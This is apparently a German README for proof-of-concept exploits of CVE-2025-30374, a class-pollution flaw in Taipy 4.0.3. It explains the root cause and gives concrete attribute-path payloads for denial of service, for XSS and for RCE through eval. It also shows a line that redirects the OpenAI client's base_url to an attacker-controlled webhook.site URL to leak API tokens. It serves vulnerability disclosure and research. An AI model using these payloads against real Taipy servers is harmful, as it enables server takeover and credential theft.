
Exploit-PoCs für CVE-2025-30374, einen Taipy-Klassenkontaminationsfehler, die RCE, reflektiertes XSS, DoS und das Leaken von OpenAI-Anmeldeinformationen mit Docker-basierten Reproduktionsskripten demonstrieren.
In Taipy v4.0.3 (der zum Zeitpunkt der Entdeckung neuesten Version) wurde eine Class-Pollution-Schwachstelle identifiziert. Diese Schwachstelle ermöglicht es nicht autorisierten Angreifern, den serverseitigen Laufzeitkontext von Taipy zu überschreiben, was schwerwiegende Folgen wie RCE, Reflected XSS, Denial of Service (DoS) und die Offenlegung sensibler Autorisierungsdaten (z. B. OpenAI-Tokens) nach sich zieht.
Hintergrund
Class Pollution (analog zur Prototype Pollution in JavaScript) ist eine relativ neue Schwachstelle in Python. Sie tritt auf, wenn ein Angreifer unerwartet die globalen Variablen eines Moduls oder die Attribute bestimmter Klassen und Funktionen zur Laufzeit überschreiben kann. Dieses Problem wird unter CWE-915 eingeordnet.
Weitere Informationen über Class Pollution finden Sie unter:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
In Taipy gefundene Class-Pollution-Schwachstelle
Die Ursache dieser Schwachstelle liegt in der Verwendung einer rekursiven Set-Funktion durch Taipy zur Aktualisierung von Variablenwerten in den Taipy-States. Sowohl die Parameter name als auch value stammen aus clientseitiger Eingabe und es fehlt eine ordnungsgemäße Validierung. Dadurch kann ein Angreifer bösartige Attributpfade wie _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set injizieren, um die set-Methode von _TaipyBase zu überschreiben.
Die folgenden Funktionen werden über _manage_message in mehreren Routen aufgerufen, um States von der Client-Seite aus zu aktualisieren:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Setup
Alle folgenden PoCs zielen auf die in diesem Repository enthaltene Demo-Chat-App (siehe app/), die auf der offiziellen Taipy-LLM-Chat-Demo (https://github.com/Avaiga/demo-llm-chat) basiert und Taipy 4.0.3 (die zum Zeitpunkt der Entdeckung aktuelle Version) festlegt. Mit Docker bauen und ausführen:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
Die DoS-, XSS- und RCE-PoCs benötigen keinen gültigen OpenAI-Schlüssel. Für den PoC zum Token-Leak starten Sie die App mit einem echten Schlüssel, damit die exfiltrierte Anfrage ihn enthält:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Führen Sie dann das entsprechende Skript aus dem Repository-Stammverzeichnis aus (z. B. python poc-dos.py). Installieren Sie zuerst die Client-Abhängigkeiten mit pip install "python-socketio[client]" requests.
Auswirkung 1: DoS
Video PoC: https://drive.google.com/file/d/1BESvtyaJyEOp0BkeFdZFdwj83_E9wp18/view?usp=sharing
Der vollständige Exploit ist verfügbar unter: poc-dos.py
poc-dos.py überschreibt die set-Methode der gemeinsam genutzten Klasse _TaipyBase mit einer nicht aufrufbaren Ganzzahl, wobei eine gebundene Haltervariable als Einstiegspunkt dient:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Da sich jeder Taipy-Wertehalter (_TaipyData, _TaipyLov, _TaipyLovValue, ...) von _TaipyBase ableitet, löst der Server beim (Neu-)Evaluieren jeder gebundenen Variablen einen TypeError: 'int' object is not callable aus. Dies betrifft jede Sitzung, nicht nur die des Angreifers, und hält an, bis die App neu gestartet wird.
Auswirkung 2: OpenAI-Token-Leck
Video PoC: https://drive.google.com/file/d/1uXiHpO-SzE1jhHzMRCTZo9CSOZHORTmT/view?usp=sharing
Der vollständige Exploit ist verfügbar unter: poc-token-exfil.py
Die Demo-App hält einen openai.Client in einer globalen Modulvariable (client), die in den Taipy-State eingebunden und als state.client.chat.completions.create(...) verwendet wird. poc-token-exfil.py manipuliert client.base_url, sodass sie auf eine vom Angreifer kontrollierte URL zeigt:
client.base_url = https://webhook.site/<your-uuid>
Jede nachfolgende Chat-Anfrage, die den Header Authorization: Bearer <OPENAI_API_KEY> und die vollständige Unterhaltung enthält, wird dann an den vom Angreifer kontrollierten Server umgeleitet, wodurch das OpenAI-Token geleakt wird.
Auswirkung 3: XSS

In der folgenden Funktion wird, wenn die Anwendung versucht, Benutzerinhalte zu rendern und kein passender Renderer gefunden wird, ersatzweise type(content).__name__ als HTML-Antwort zurückgegeben:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
Allerdings ist das Attribut __name__ eines Klassenobjekts über Class Pollution setzbar, z. B. tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Ein Angreifer kann dieses Attribut mit einer bösartigen HTML- oder JavaScript-Nutzlast überschreiben.
Der vollständige Exploit ist verfügbar unter: poc-xss-no-dot.py (funktioniert gegen v4.0.3) und poc-xss.py (gepunktete "U"-Variante, Taipy ≤ 4.0.2).
Auswirkung 4: RCE

Als Nächstes zeigen wir, wie ein RCE-Angriff erreicht werden kann.
Die Class-Pollution-Schwachstelle erlaubt Angreifern, beliebige Attribute auf Objekten zu setzen, die im Session-State vorkommen, welcher standardmäßig nicht viele sensible Objekte enthält. Wir haben jedoch festgestellt, dass die Route Gui.on_action genutzt werden kann, um den Handler Gui.table_on_edit aufzurufen, wodurch neue Objekte aus dem Modul __main__ in den Session-State gebunden werden. In der folgenden Zeile löst ein getattr-Aufruf auf dem State-Objekt automatisch den Bindevorgang aus, während ein anschließendes setattr den gebundenen Wert sofort auf None zurücksetzt:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Dieses Verhalten erzeugt ein kurzes Race-Fenster, in dem Objektreferenzen, wie die Klasse Gui, vorübergehend im Session-State existieren. In diesem Fenster können Angreifer Class Pollution ausnutzen, um Attribute dieser Objekte zu überschreiben.
Darüber hinaus haben wir entdeckt, dass das Attribut Gui.__SELF_VAR als Präfix beim Erstellen von Ausdrücken verwendet wird, die an Pythons eingebaute Funktion eval() übergeben werden:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
Durch das Überschreiben des Werts von __SELF_VAR mittels Class Pollution kann ein Angreifer den auszuwertenden Ausdruck kontrollieren, was letztlich zur Ausführung beliebigen Codes auf dem Server führt.
Der vollständige Exploit ist verfügbar unter: poc-rce-no-dot.py (funktioniert gegen v4.0.3) und poc-rce.py (gepunktete "U"-Variante, Taipy ≤ 4.0.2). Beide binden das Gui-Objekt über die on_action-Route, die table_on_edit aufruft, in den Session-State ein und setzen den Class-Pollution-Schreibvorgang dann in ein Wettrennen gegen dieses Objekt; daher sind unter Umständen mehrere Versuche erforderlich, bis sie erfolgreich sind.
Jeder Benutzer von Taipy kann diese Schwachstelle ausnutzen, um RCE, Reflected XSS, Denial of Service (DoS) und die Offenlegung sensibler Autorisierungsdaten (z. B. OpenAI-Tokens) zu verursachen.